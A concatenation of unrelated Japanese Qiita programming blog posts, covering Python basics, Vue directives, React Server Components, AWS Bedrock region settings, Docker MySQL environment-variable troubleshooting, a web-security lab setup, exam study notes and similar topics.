OmniAICreator/Qiita-1.07M huggingface dataset:
生成AIに聞いてみた、Pythonの基本的な概念と構文

https://qiita.com/Akuuuun/items/af6e00a07b9422dcd054

# 1. 基本的な概念と構文
   - 変数と基本的なデータ型（整数、浮動小数点数、文字列など）
   - 条件文（if, else, elif）
   - ループ（for, while）
   - 関数の定義と使用

## 1. 変数と基本的なデータ型

Pythonでは、変数を宣言する際に型を明示的に指定する必要はありません。変数には様々な型のデータを格納できます。

```python
# 整数
age = 25

# 浮動小数点数
height = 1.75

# 文字列
name = "Alice"

# ブール値
is_student = True

print(f"Name: {name}, Age: {age}, Height: {height}m, Student: {is_student}")
# Name: Alice, Age: 25, Height: 1.75m, Student: True
```
https://qiita.com/Akuuuun/items/e5ca38390c3ae3164d4f

## 2. 条件文 (if, else, elif)

条件文を使用して、プログラムの流れを制御できます。

```python
age = 20

if age < 18:
    print("You are a minor.")
elif age >= 18 and age < 65:
    print("You are an adult.")
else:
    print("You are a senior citizen.")
# You are an adult.

# 三項演算子
is_adult = "Yes" if age >= 18 else "No"
print(f"Is adult? {is_adult}") # Is adult? Yes
```

## 3. ループ (for, while)

ループを使用して、繰り返し処理を行うことができます。

```python
# forループ
fruits = ["apple", "banana", "cherry"]
for fruit in fruits:
    print(f"I like {fruit}")
# I like apple
# I like banana
# I like cherry

# range()を使ったforループ
for i in range(5):
    print(f"Count: {i}")
# Count: 0
# Count: 1
# Count: 2
# Count: 3
# Count: 4

# whileループ
count = 0
while count < 5:
    print(f"Count: {count}")
    count += 1
# Count: 0
# Count: 1
# Count: 2
# Count: 3
# Count: 4
```

## 4. 関数の定義と使用

関数を使用することで、コードを再利用可能な単位にまとめることができます。

```python
def greet(name):
    """この関数は与えられた名前に挨拶します。"""
    return f"Hello, {name}!"

# 関数の呼び出し
message = greet("Bob")
print(message) # Hello, Bob!

# デフォルト引数
def power(base, exponent=2):
    return base ** exponent

print(power(3))    # 3^2 = 9
print(power(3, 3)) # 3^3 = 27

# 可変長引数
def sum_all(*args):
    return sum(args)

print(sum_all(1, 2, 3, 4, 5))  # 15
```

これらの基本的な概念と構文を理解することで、Pythonでのプログラミングの基礎を身につけることができます。これらを組み合わせることで、より複雑なプログラムを作成することが可能になります。

**例えば、これらの概念を組み合わせた簡単な例を示します：**

```python
def calculate_grade(score):
    if score >= 90:
        return 'A'
    elif score >= 80:
        return 'B'
    elif score >= 70:
        return 'C'
    elif score >= 60:
        return 'D'
    else:
        return 'F'

# 学生の成績を記録する辞書
students = {
    "Alice": 85,
    "Bob": 92,
    "Charlie": 78,
    "David": 95
}

# 各学生の成績を計算して表示
for name, score in students.items():
    grade = calculate_grade(score)
    print(f"{name}'s score is {score}, grade is {grade}")
# Alice's score is 85, grade is B
# Bob's score is 92, grade is A
# Charlie's score is 78, grade is C
# David's score is 95, grade is A

# 平均点を計算
average_score = sum(students.values()) / len(students)
print(f"The class average is {average_score:.2f}") # The class average is 87.50
```

このプログラムは、変数、条件文、ループ、関数、そして辞書（後のセクションで詳しく説明します）を使用しています。これは、基本的な概念を組み合わせて実用的なプログラムを作成する方法を示しています。

これらの基本を十分に理解したら、次のステップとしてデータ構造やより高度な概念に進むことをおすすめします。
v-if v-showの違いについて

## はじめに
備忘録です。
Vueを書き始めて2ヶ月が経ったばかりの新米です。
　

v-showディレクティブとは何か

機能的にはv-ifディレクティブに似ています。
それぞれの使い方を見ていきます

## 書き方

### v-if
```vue
 const flag = ref(false)

<p v-if="flag">show</p>
<button @click="flage = !flage">toggle</button>
```


### v-show
```vue
 const flag = ref(false)

<p v-show="flag">show</p>
<button @click="flage = !flage">toggle</button>
```

これだけ見るとまるっきり一緒ですね。
では何が違うのかというと、要素の消し方が違います。


v-ifの場合: 条件式の値がfalsyの場合DOMには<!-- v-if -->というコメントアウトのみが表示され、DOM要素自体は取り除かれます
v-showの場合: 条件式の値がfalsyの場合styleに`display: none;` が付与されますが、DOM要素自体は残り続けます

つまり以下の関係になります
v-ifは初期のレンダリングコストが低く、切り替えのコストが高い
v-showは初期のレンダリングコストが高く、切り替えのコストが低い

| ディレクティブ | Falsy時   | template内 | else文 | 使いどき                      |
| ------- | -------- | --------- | ----- | ------------------------- |
| v-if    | DOMから消える | 使える       | ある    | 頻繁に要素のtrue/falseが切り替わらない時 |
| v-show  | DOMに残る   | 使えない      | ない    | 頻繁に要素のtrue/falseが切り替わる時   |

個人的に今までv-showを使ったことがないので、使い所があったら使ってみたいです。

## 参考
https://qiita.com/aqua_ix/items/61eac355f3c24d7676e1
生成AIに質問しながらPythonを学んでみる

Pythonは初心者にとって学びやすく、非常に強力なプログラミング言語です。最近、生成AIを使ってPythonを学習する方法が注目されています。ここでは、生成AIを使ってPythonを学習するためのステップと結果を紹介します。

# 使用環境の準備
まず、使用制限を緩和するために月額$20の課金を行い、Claude3.5 Sonnetの使用を開始しました。
サンプルコードの検証は、Windows11 / Python 3.12.3

# プロンプトの入力
最初に以下のプロンプトを入力しました：

「プログラミング初心者がPythonを学習する時に、どのような事を順番に学習したら良いか教えて」

# Claude3.5 Sonnetの回答
Claude3.5 Sonnetからは、Python学習のための順序として以下のステップが提案されました：
**以後、この項を学習進捗に合わせて追加説明やリンクを張って更新していきます。**

# 1. [基本的な概念と構文](https://qiita.com/Akuuuun/items/f2df898769588855b405)
   - [変数と基本的なデータ型](https://qiita.com/Akuuuun/items/e5ca38390c3ae3164d4f)
   - 条件文（if, else, elif）
   - ループ（for, while）
   - 関数の定義と使用

# 2. [データ構造](https://qiita.com/Akuuuun/items/e9bb49cac894dac147f3)
   - リスト、タプル、辞書、セット
   - これらのデータ構造の操作方法

# 3. [入出力](https://qiita.com/Akuuuun/items/953313ee702d766d1c6a)
   - コンソールからの入力と出力
   - ファイルの読み書き

# 4. [エラー処理](https://qiita.com/Akuuuun/items/c7c22e76f34880a075e4)
   - try-except文の使用
   - 複数の例外の処理
   - `else`と`finally`の使用
   - 例外の再発生
   - カスタム例外の作成

# 5. [モジュールとライブラリ](https://qiita.com/Akuuuun/items/f8c576844d09c6e9d59d)
   - モジュールの使用方法
   - 標準ライブラリ
   - 外部ライブラリ
   - モジュールとライブラリの利点

# 6. [オブジェクト指向プログラミング](https://qiita.com/Akuuuun/items/b522c25038ca9b0f1844)
   - クラスとオブジェクト
   - カプセル化
   - 継承
   - ポリモーフィズム
   - 抽象クラスとインターフェース

# 7. [実践的なプロジェクト](https://qiita.com/Akuuuun/items/4243e965853a9fc6fc8e)
   - これまでに学んだ概念を使用した小規模プロジェクト

# 8. [より高度なトピック](https://qiita.com/Akuuuun/items/1e2d2fd91f400982a7d7)
   - ジェネレータと反復子
   - デコレータ
   - コンテキストマネージャ

# 学習の進め方

Claude3.5 Sonnetの提案に従い、次のように学習を進めることにしました：

1. 基礎から応用へと段階的に理解を深めるため、各ステップを順に学習する。
2. 各ステップで実際にコードを書いて実行し、結果を確認する。
3. 特定のトピックについて詳しく知りたい場合やサンプルコードが必要な場合は、再度Claude3.5 Sonnetに質問する。

# まとめ

Claude3.5 Sonnetの提案により、Python学習の具体的なステップが明確になりました。これに従い、基礎から応用まで段階的に学習を進めることで、効果的にPythonを習得できると期待しています。今後もこの方法を活用し、実際のプロジェクトで応用できるスキルを身につけていきます。
応用情報合格したので、振り返り

# 応用情報合格！
本日、令和6年度 春期試験の合格発表日でした。
結果は「**合格**」
自己採点で午前試験が突破してることはわかってたので、午後試験次第ではあったのですが、感触的には微妙でずっともやもやしてました。
やっと合格発表が出てとてもすっきりです！一発で受かってよかった～！

# 勉強時間
トータルで190時間くらい勉強しました。
よく合格するには200時間ほど勉強する必要があると聞くので、それ通りの結果かなと思います。午後試験を解く、解説を見る、理解する、解きなおすという工程が想像以上に時間がかかって後半はけっこう焦りながら勉強してました。

# 勉強方法
+ 午前問題
    ひたすら過去問道場さんで過去問を解きました。平成26年春問題まで全部解いて、苦手な分野はさらに過去の問題も解いてます。間違えた問題やあいまいな問題は重点的に繰り返し復習しました。基本情報を昨年の12月頭に受けたばっかりだったのでそこまで苦労しなかったです。
    
+ 午後問題
    こちらも過去問道場さんで過去問をたくさん解きました。
    当日、試験問題を見て難しかった場合にその分野を回避できるようにと思い以下の分野を勉強しました。
    
    1\. 情報セキュリティ（必須）
        けっこう常識的な問題だったのそこまで苦労しませんでした。安定して点数も取れてたと思います。
        
    2\. データベース
        一番の得点源でした。実務でも使ってるのでこちらもそこまで苦労せずに高得点をとれてました。当日も選択しました。
        
    3\. 情報システム開発
        最初は点数が取れずに苦労しましたが、最終的にはそこそことれるようになりました。問題形式に慣れるのに苦労したかも。当日こちらも選択。

    4\. プロジェクトマネジメント
        筆記が多くてできてるのかできてないのかイマイチわからなかった分野です。現場のリーダーに実務ではどうしてるのかなどの質問をさせてもらったおかげでそこそこ点数は取れてました。しかし、当日問題を見たら何もわからなくて急遽選択から外しました。（予備でもう1分野勉強しといてよかった）

    5\. サービスマネジメント
        これも筆記多くてイマイチ自分ができてるのか不明でした。しかし、勉強してみると理解はしやすかったので最終的にはそこそこできるようになりました。こちらは当日選択しました。

    6\. システム監査
      過去問解いてる段階ではまったくできなくてこれは当日選べないな～と思いながらも、マネジメント系の問題と同じく考えればなんとか筆記は埋めることができるので一応勉強しておきました。そして、当日はプロジェクトマネジメントで撃沈したのでシステム監査を選択しました。本当に勉強しといてよかったです。  

# 総括
過去問を解き始める前に念のため参考書も購入して1月はそちらに目を通していたのですが、ぶっちゃけいらなかったなと思いました。基本情報とってるし、実務もそこそこ経験してるのでそりゃいらないよなと後から思いました。これがなければ勉強時間もう少し減ってた気がします。
やっぱり過去問は正義！！！過去問だけでもしっかりとやっておきましょう！！！

# 今後
午前Ⅰが免除になる間に高度試験受けてしまいたいなという気持ちがあります。データベーススペシャリストかなと思ってますが今年の秋試験にはさすがに間に合わないと思うし、かといって来年の春に受けられそうなのないし…。ちょっと考えます。

# お世話になったサイト
https://www.ap-siken.com/apkakomon.php
C_TS422_2021 SAP Certified Application Associate SAP S/4HANA Production Planning and Manufacturing対策（36/100）

【36日目】
トピック4：SAPS/4HANAの資材所要量計画（MRP）（3/10）

≪問題36≫
さまざまな担当者が計画する複数の品目がプロジェクト内にあります。計画責任を以下のどの基準で割り当てますか。
□MRP管理者
□MRPタイプ
□MRPグループ
□MRP計画ファイル

≪解答≫
■MRP管理者
□MRPタイプ
□MRPグループ
□MRP計画ファイル

≪解説≫
◆一般的に、企業では生産および調達プロセスで多数の異なる品目を使用するため、対応する品目マスタの番号をシステムに登録する必要があります。品目の大部分は所要量計画で計画されますが、計画関連品目は計画管理および調達の責任者に割り当てられます。SAP S/4HANAでは、この役割の公式名称は "MRP管理者" です。
◆品目マスタにMRP管理者番号（所要量計画のカスタマイジングで定義する必要があります）を入力すると、この責任がシステムで更新されます。MRP管理者番号は1人だけを参照する必要はなく、複数のMRP管理者番号を1人の人物に割り当てることも可能です。
【React】ReactServerComponentsについて理解する

RSCをちゃんと理解できなかったばっかりにトンチンカンなミスをしてしまった私です…。
Reactにいたもう一段詳しくなるためRSCについて理解を深めたいと思います。

## RSCとは？
長い単語なので会話ではよく省略されることが多い印象ですが、「React Server Components」のことを指します。
クライアントサイドではなく、サーバーサイドでレンダリング（SSR）できるコンポーネントのことです。

https://ja.react.dev/reference/rsc/server-components

ページリクエスト時にサーバー内で実行が可能でデータレイヤーに直接アクセスできます。
そのためコンポーネントの中で直接データを読み取ってレンダーできます。

:::note warn
`useState`のようなAPIは利用できないことに注意してください。
:::

`useState`を利用したコンポーネントをサーバーサイドで利用しようとするとエラーが出ます。
その場合は対象のコンポーネントをクライアントサイドで利用するコンポーネントを定義しているファイルの一番はじめに`use client`を記述することでエラーを解消できます。

:::note
`use client`を使えば全てのエラーが解消できるわけではないと思います。
場合によっては本質的な解決になり得ないのであくまでも知識の一環として記憶いただけると良いと思います。
:::

また、`async/await`を利用してコンポーネントを作れるのもサーバーサイドコンポーネントの特徴です。

## RSCを理解するためのヒント①：多段階計算stage0の追加

詳しくは下記の記事を一読ください！

:::note
全てを理解できたわけではありませんが、わからないながらも理解を進めるヒントになりました！
:::

https://zenn.dev/uhyo/articles/react-server-components-multi-stage

### 「新しいステージが追加された」という考え方
> しかし、筆者はどちらかというと、「新しいステージが追加された」という理解をしています。従来のReactアプリケーションは、stage 1だけが存在しました。クライアント用のReactアプリケーションひとつだけが存在したのです。SSRという技術もありましたが、これはクライアント向けのコードを無理やりサーバーサイドでも実行するものです。

個人的には非常にわかりやすい考え方だとしっくりきました！

> 一方、RSCでは従来のReactアプリケーション（stage 1）の前段に、新ステージとしてstage 0が追加されたのです。stage 0では、stage 1に比べて、ステートが無いなどの制限があります。よって、最も自然なRSCの受容の仕方は、「とりあえず全部stage 1（クライアント用）にしておけば従来通り。そこにstage 0（Server Component）を足していく」というものになるでしょう。

既存のものに追加していくと考えると少し難しいと思っていたSRCのことが少し身近に感じられました。

> しかし、現在RSCを利用する簡単な方法であるNext.js（のappディレクトリ）では、デフォルトがstage 0で、stage 1のファイルには"use client"という宣言を書かないといけないことになっています。つまり、従来とはデフォルトのステージが変わっているのです。ここにメンタルモデルの飛躍があり、一部の人々にとっては混乱の原因になっているのではないかと思います。

私も混乱していました…。
理解することを後回しにしていましたが、この記事を読んだことで頭の中をずいぶん整理ができました！

## いろんなレンダリング手法についても理解する

### CSRの概要（Reactの場合）
- CSR（client-side-rendering）は、クライアントでレンダリングする手法
- Reactは中身が空のHTMLファイルを受け取り、JSの解析→Reactが動作→DOMを空の`<div id="root"></div>`に格納
- JSはバンドルが大きいのでUIの初期表示に時間がかかる（年月が経てばファイルサイズはどんどん大きくなる）

### SSRの概要
- サーバーで初期のHTMLをレンダリングする
- HTMLに含まれる`<script>`タグで記述されたJSによってハイドレーション[^1]が行われる
- 初期表示速度、ページの主要コンテンツが表示されるまでの速度はCSRに比べて早い
- ページ単位でデータの取得とレンダリングが実行される

## 【まとめ】ReactServerComponentsについて理解する
RSCについて調べてみてReactやNext.jsのことをさらに理解できました。
正直一度で全て頭に入る量ではないので定期的に読み直したいと思います！

今回参考にさせていただいた記事2つを利用すると理解を進めやすいと思うので一度確認してみてください！

## 参考にした記事

https://zenn.dev/uhyo/articles/react-server-components-multi-stage

https://zenn.dev/yuu104/articles/react-server-component

https://ja.react.dev/reference/rsc/server-components

[^1]:　https://qiita.com/kmfj/items/e88a2ec70a0e5d6eb3f4
東京リージョンのCloud9からバージニア北部のBedrockを呼び出す。

こちらのイベントにて登壇させていただきました。

https://studyco.connpass.com/event/321443/

その中で、「東京リージョンからバージニア北部のBedrockを呼び出すことはできるの？ネットワーク的に大丈夫なの？？」という質問をいただきました。

## 東京リージョンからバージニア北部のBedrockを呼び出す方法

書籍「[Amazon Bedrock 生成AIアプリ開発入門 [AWS深掘りガイド]](https://www.sbcr.jp/product/4815626440/)」のP.92の「2_invoke-model.py」を例にします。（コードはGitHubに公開しています→[こちら](https://github.com/minorun365/bedrock-book/blob/main/chapter2/2_invoke-model.py)）

Bedrockクライアントを作成する際に、リージョンを指定するだけでOKです。

```python:変更前
# Bedrockクライアントを作成
bedrock = boto3.client("bedrock-runtime")
```

```python:変更後
# Bedrockクライアントを作成
bedrock = boto3.Session(region_name="us-east-1").client("bedrock-runtime")
```

東京リージョンに構築したCloud9でプログラムを動かします。

変更前のソースはリージョンが未指定のため、暗黙的のCloud9と同じリージョンのBedrockを呼び出そうとします。

しかし、東京リージョンのClaude 3は提供されていないため、以下のエラーとなります。

```
botocore.errorfactory.ValidationException: An error occurred (ValidationException) when calling the InvokeModel operation: The provided model identifier is invalid.
```

変更後のソースは、リージョンを明示的に指定することで、バージニア北部リージョンのBedrockを呼び出します。

```
"Bedrock"には主に2つの意味があります。

1. 地質学の用語として、岩盤の最下部を指す言葉です。土壌や砂礫の下にある、しっかりとした固い岩盤のことを指します。

2. 転じて、何かの基礎や礎となる部分を表す比喩的な表現として使われます。例えば、"The bedrock of our society is family values." (家族の価値観が我々社会の礎となっている)などと言われます。揺るぎない土台や基盤という意味合いがあります。

人工知能の分野でも"Bedrock"という言葉が使われる場合があり、システムの根本的な部分や、基盤となるアーキテクチャなどを指す言葉として使われることがあります。

要するに、"Bedrock"とは物事の下支えとなる最も基礎的で重要な部分を表す言葉なのです。
```

## ネットワーク的に大丈夫なのか？？

AWSのVPCに関する[FAQ](https://aws.amazon.com/jp/vpc/faqs/)に以下の記述があります。

> 2 つのインスタンスがパブリック IP アドレスを使用して通信する場合、またはインスタンスがパブリックな AWS のサービスエンドポイントと通信する場合、トラフィックはインターネットを経由しますか?
いいえ。パブリック IP アドレスを使用する場合、AWS でホストされているインスタンスとサービス間のすべての通信は AWS のプライベートネットワークを使用します。AWS ネットワークから発信され、AWS ネットワーク上の送信先を持つパケットは、AWS 中国リージョンとの間のトラフィックを除いて、AWS グローバルネットワークにとどまります。
> 
> さらに、データセンターとリージョンを相互接続する AWS グローバルネットワークを流れるすべてのデータは、安全性が保証された施設を離れる前に、物理レイヤーで自動的に暗号化されます。すべての VPC クロスリージョンピアリングトラフィックや、カスタマーまたはサービス間のトランスポート層セキュリティ (TLS) 接続などといった追加の暗号化レイヤーもあります。 

要約すると、 **AWS内の通信は、AWSのプライベートネットワークの中にとどまり、更に通信は暗号化される** ということです。

書籍中でも解説しております。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/41574/fd3dc881-497a-81fd-d007-0dbbad125f2c.png)

リージョンを跨ぐアーキテクチャでも安心して利用できると思います。
深さ優先探索（DFS）を用いたシングルリンクリストのノードマージ問題の解決方法

# DFSの簡単な説明
深さ優先探索（DFS：Depth-First Search）は、木やグラフなどのデータ構造を探索するためのアルゴリズムの一つです。DFSは、可能な限り深くノードを探索してから次の分岐に進むという方法で動作します。再帰やスタックを使って実装することが多いです。

# 問題の解法の説明
以下は、与えられたシングルリンクリストを0を基準に値をマージする問題の解法をDFSを用いて説明したものです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3824062/3566b1cd-2ac8-7256-3fb0-464bfdb2c1f1.png)

``` java
/**
 * シングルリンクリストのノードを定義するクラス。
 */
public class ListNode {
    int val;
    ListNode next;
    ListNode() {}
    ListNode(int val) { this.val = val; }
    ListNode(int val, ListNode next) { this.val = val; this.next = next; }
}

class Solution {
    public ListNode mergeNodes(ListNode head) {
        // 新しいリストの先頭ノードを生成
        ListNode current = new ListNode();
        // 再帰的にDFSを使ってノードをマージ
        dfs(head, current);
        // マージされたリストの先頭ノードを返す
        return current;
    }

    ListNode dfs(ListNode param, ListNode current) {
        // 基底条件：リストの終端に達した場合
        if (param.next == null) {
            return current;
        }

        // ノードの値が0の場合
        if (param.val == 0) {
            // currentノードが0でない場合、新しいノードを作成して次へ進む
            if (current.val != 0) {
                current.next = new ListNode();
                return dfs(param, current.next);
            } else {
                // currentノードの値が0の場合、値を0に設定
                current.val = 0;
            }
        }

        // currentノードに現在のノードの値を加算
        current.val += param.val;
        // 次のノードへ進む
        param = param.next;
        // 再帰呼び出し
        return dfs(param, current);
    }
}

```

# コードの説明
1. ListNode クラスの定義
    - シングルリンクリストのノードを定義します。各ノードは val という値と next という次のノードへの参照を持っています。

2. Solution クラスと mergeNodes メソッド
    - mergeNodes メソッドは、リストの先頭ノード head を入力として受け取り、マージされた新しいリストを返します。
    - 新しいリストの先頭ノード current を生成し、再帰関数 dfs を使ってノードをマージします。

3. dfs メソッド
    - dfs メソッドは再帰的にリストを探索し、0を基準に値をマージします。
    - 基底条件：現在のノード param の次のノードが null ならば、現在のノード current を返します。
    - 現在のノードの値が0の場合：
        - current ノードの値が0でない場合、新しい ListNode を生成し、再帰呼び出しを行います。
        - current ノードの値が0の場合、値を0に設定します。
    - 現在のノードの値が0でない場合：
        - 現在のノードの値を current ノードの値に加算します。
        - param ノードを次のノードに進めます。
    - dfs メソッドを再帰的に呼び出して次のノードに進みます。

このようにして、DFSを用いてシングルリンクリストの値をマージし、新しいリストを生成することができます。

# Summary
この問題は、Call By Reference方式でオブジェクトが伝達されることを利用する問題でした。 DFSはStack Memoryに影響を受けるので注意してください。
関数はオブジェクトである

関数もオブジェクトってほんまかいな？

じゃあ試しにログ出力してみよか
```Javascript
function mathAdd(a,b){
return a+b;
}
console.log(mathAdd);
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3527006/c689b767-14cc-db47-ec70-17125c699e33.png)

そのまま表示された😯
つまりそういうことなん？
【読書ノート】デジタルマーケティングで売り上げの壁を超える方法（第2章売上の分解)

## はじめに
Eコマースの世界では、収益が新規顧客から来るのか、それとも忠実なリピーターから来るのかを知ることが重要です。この投稿では、年間収益の構成要素を探り、デジタルマーケティングの専門家が効果的に戦略を最適化し、両セグメントにアピールする方法を説明します。

## 年間売上の構成:
Eコマースにおける年間売上の基本式は次のように表されます:

年間売上 = 訪問者数 * 購入率 * 客単価 * 年間購入回数


顧客カテゴリから見た場合、この式は以下のように再構成されます:


年間売上 = 新規顧客売上 + 既存顧客売上 * 継続率

## 顧客構造と売上の関係
売上を分解し、どこから売上が生じているか（新規顧客か既存顧客か）を理解することは、デジタルマーケティング戦略を最適化する上での第一歩です。

### 前提条件:
取り扱う商品が年間を通じて複数回購入されるEコマースサイト。

### 階段図の利用:
階段図を用いて新規顧客の継続購入率（2年後、3年後も継続して購入しているか）、平均購入金額、平均購入回数を追跡することが重要です。毎年リピート購入を促す構造を築くことが大切です。継続率が低い場合、新規顧客も一度の購入後に離れてしまうことが多く、新規依存のビジネスモデルは持続しにくいです。
![01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3804860/b3b953cb-aae5-f1af-024a-7efccf716e96.png)
### 階段図の利点:
階段図は、翌年の売上予測にも活用できます。また、5年単位での購入データについても同様の分析が可能です（コホート分析が適している場合もあります）。

このような分析を通じて、Eコマース事業者はより効果的な顧客獲得とリテンション戦略を展開できるようになります。データを深く理解することで、ビジネスの成長を加速し、持続可能なビジネスモデルを構築するための洞察を提供します。
【2024年版 M1Mac】安全なWEBアプリケーションの作り方セットアップ

## はじめに
どうも、脳筋テクノロジーズの脳筋です。

[体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践](https://amzn.to/4bAbEt8)を購入したのですが、環境のセットアップに少し時間がかかってしまったので、こちらにまとめたいと思います。


## 実行環境の作成

### 準備してあるもの

以下のものは準備が完了している前提で進めます。

- Firefoxのインストール
- Dockerデスクトップ


### 実習用仮想マシン(Docker版)のダウンロード・実行

[こちら](https://wasbook.org/download/)からDocker版の実習用仮想マシンをダウンロードします。
ページを開くためには書籍に記載されているIDとパスワードが必要です。

ダウンロードした後、zipファイルを解凍し、マシンの起動を行います。

```
$ docker compose up -d
```

### OWASP ZAPの準備

#### インストール
以下のページからOWASP ZAPのインストールを行います。
`macOS (Apple Silicon - aarch64) Installer`をダウンロードして下さい。

https://www.zaproxy.org/download/


#### セットアップ
インストールしたOWASP ZAPを開こうとすると、「開発元が未確認のため開けません」と表示されるため、システム環境設定から開きます。

システム環境設定→プライバシーとセキュリティから、開くことができます。

はじめのポップアップは`現在のタイムスタンプでファイル名をつけてセッションを保存`を選択して下さい。
![スクリーンショット 2024-07-04 16.02.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/338946/f34adf98-b037-21b2-7a05-d3b8832af3d7.png)

ZAPの設定を変更していきます。

- Local Servees/Proxies
    - ポートを58888に変更します
![スクリーンショット 2024-07-04 16.06.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/338946/a8dbf71a-d8c9-87d6-7270-230e179e1185.png)


- ブレークポイント
    - Break Buttons Modeを`Separate Request and Response Buttons`に変更します
![スクリーンショット 2024-07-04 16.09.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/338946/c097e31d-27ca-6b9e-7b61-f1b11a83be0a.png)

- HUD
    - `Enable when using the ZAP Desktop`にチェックをつけます
![スクリーンショット 2024-07-04 16.11.25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/338946/2c627826-88d1-efc2-263a-ce793d3715fa.png)

- ネットワーク
    - ホストを`127.0.0.1`、ポートを`13128`に変更します
![スクリーンショット 2024-07-04 16.12.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/338946/8768e403-b6f9-84c2-36e1-979197beb001.png)


### FoxyProxy Standerdの準備

Firefoxで[こちら](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/)のページを開き、`firefox`へ追加をクリックして下さい。

その後、[http://127.0.0.1:13128/](http://127.0.0.1:13128/)のページから、`Foxyproxy8用の設定ファイル`を名前をつけてリンク先を保存して下さい。（Dockerが起動していれば、ページが開けるはずです）

その後は以下のページに従って、設定を進めれば大丈夫です。

https://wasbook.org/foxyproxy8.html


## まとめ
書籍にも丁寧にセットアップ方法が記載されており、著者公式のqiitaやサポートサイトがあるにもかかわず、思いの外手こずってしまいました。泣


こちらは著者公式の記事です。
https://qiita.com/ockeghem/items/d38478c242f9d2f639d7
【Docker×MySQL】compose.yamlの設定通りにMySQLユーザーが作成されない

## はじめに

DockerでMySQL環境を作成したところ、compose.yamlで設定した環境変数が反映されず、MySQLユーザーが作成されませんでした。この原因と対処法について記載します。

## 環境

- Windows10
- Docker Desktop：26.1.1
- MySQL: 5.7

## 設定ファイル

本エラーに関係ありそうなcompose.yamlの一部を記載します。

:::note warn
特に注目していただきたいのは`environment`の`MYSQL_USER`です。
ここで作成したいユーザー名を指定しています。
:::

```compose.yaml
services:
  app:
    ~~ 省略 ~~

  mysql:
    image: mysql:5.7
    container_name: db-for-go
    command:
       ~~ 省略 ~~

    environment:
       MYSQL_ROOT_PASSWORD: ${ROOTPASS} # rootのパスワード
       MYSQL_DATABASE: ${DATABASE} # データベースの名称
       MYSQL_HOST: db-for-go # コンテナ名を指定
       MYSQL_USER: ${USERNAME} # 作成したいユーザー名
       MYSQL_PASSWORD: ${USERPASS} # 作成したいユーザーのパスワード
       TZ: 'Asia/Tokyo'

    ports:
       - "3306:3306"

    volumes:
        ~~ 省略 ~~ 
volumes:
  db-volume:
```

:::note
MySQLの環境変数について、詳細は以下の公式ページをご確認ください。
:::

https://hub.docker.com/_/mysql/

compose.yamlで指定した環境変数の値は.envに記載しています。

```.env
ROOTPASS=password
DATABASE=sampledb
USERNAME=docker
USERPASS=docker
```

## エラー

作成したDockerユーザーでログインしようとしてもできません。。

```bash
> docker container exec  `
>> --interactive          `
>> --tty                  `
>> db-for-go              `
>> mysql -h localhost -u docker sampledb -p
Enter password:
ERROR 1045 (28000): Access denied for user 'docker'@'localhost' (using password: YES)
```

:::note
一応ここでcompose.yamlと.envの変数名のタイプミスがないことを確認します
（それで解決すること、よくありますよね）。
:::

## 対処法1：volumeを再作成する

"Docker MySQL ユーザー作成できない"で検索すると、**古いvolumeが残っているためにcompose.yamlを編集してリビルドしてもユーザーが作成されない**例がいくつもヒットします。

https://qiita.com/fujisawatk/items/80da801c7e2ac68e4887

https://book-reviews.blog/mysql-authentication-error-with-docker-compose/

上記の記事の通り、この場合はいったんvolumeを削除してから起動することで解決します。

```bash
$ docker compose down --volumes
$ docker compose up --detach
```

おそらく9割以上の人がこれで一件落着でしょう。しかし、筆者の場合はこれで解決しませんでした。。

## 対処法2：環境変数を確認する

「**.envで指定した環境変数が上手く設定されていない**のかも」と思い、MySQLコンテナ内で`$ printenv`を実行し環境変数を確認しました。

```bash
> docker container exec `
>> --interactive         `
>> --tty                 `
>> db-for-go             `
>> bash
bash-4.2# printenv
HOSTNAME=44aa7bf0faec
TERM=xterm
MYSQL_VERSION=5.7.44-1.el7
MYSQL_DATABASE=sampledb
MYSQL_PASSWORD=docker
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/
MYSQL_SHELL_VERSION=8.0.35-1.el7
TZ=Asia/Tokyo
SHLVL=1
HOME=/root
MYSQL_MAJOR=5.7
GOSU_VERSION=1.16
MYSQL_HOST=db-for-go
MYSQL_USER=wsigma21 # ここがおかしい
MYSQL_ROOT_PASSWORD=password
_=/usr/bin/printenv
```

ん？　
compose.yamlで`MYSQL_USER: ${USERNAME}`、.envで`USERNAME=docker`としているのだから、**`MYSQL_USER=docker`になるはずなのに**、、

環境変数`USERNAME`が**WindowsPCで設定されているユーザー名**「`wsigma21`」になってしまっています。

コマンドプロンプトで環境変数を確認してみます。

```shell
> set
~~ 省略 ~~
USERNAME=wsigma21
~~ 省略 ~~
```

やはりWindowsPCの環境変数`USERNAME`が反映されているようです。.envでの設定よりこちらが勝ってしまうのでしょう。


### 解決

環境変数名が被らなければよいので、適当に`USER_NAME`にしてみます。

（設定ファイルの該当箇所だけ示します）

```compose.yaml
environment:
       MYSQL_USER: ${USER_NAME}
```

```.env
USER_NAME=docker
```

その後volumeを再作成します（対処法1の知見は無駄ではなかった）。

```bash
$ docker compose down --volumes
$ docker compose up --detach
```

これで無事に解決しました！

## おわりに

同じ状態に陥る人がどれくらいいるのかわかりませんが、、どなたかの助けになれば幸いです。
Azure Repos の Default Branch の設定方法。Azure Pipeline の base branch でもある。

# 背景

Azure Pipeline を作成する際、create a new する際に、<code>Create a new branch for this commit</code> を選択すると、base branch が選択出来なかった。

で、どうやるん？と思ったら、Repos の Default Branch を元にしていた為、その設定方法の記録

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120072/d943d7a6-cda0-8b9b-45ab-153ba9d6e528.png)

# YAML パイプラインでのトリガーに関するブランチの考慮事項

トリガーとブランチの関係性を理解しておく必要有。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120072/4d657e85-2d7d-8cd4-d0fc-b5b3c8a31790.png)


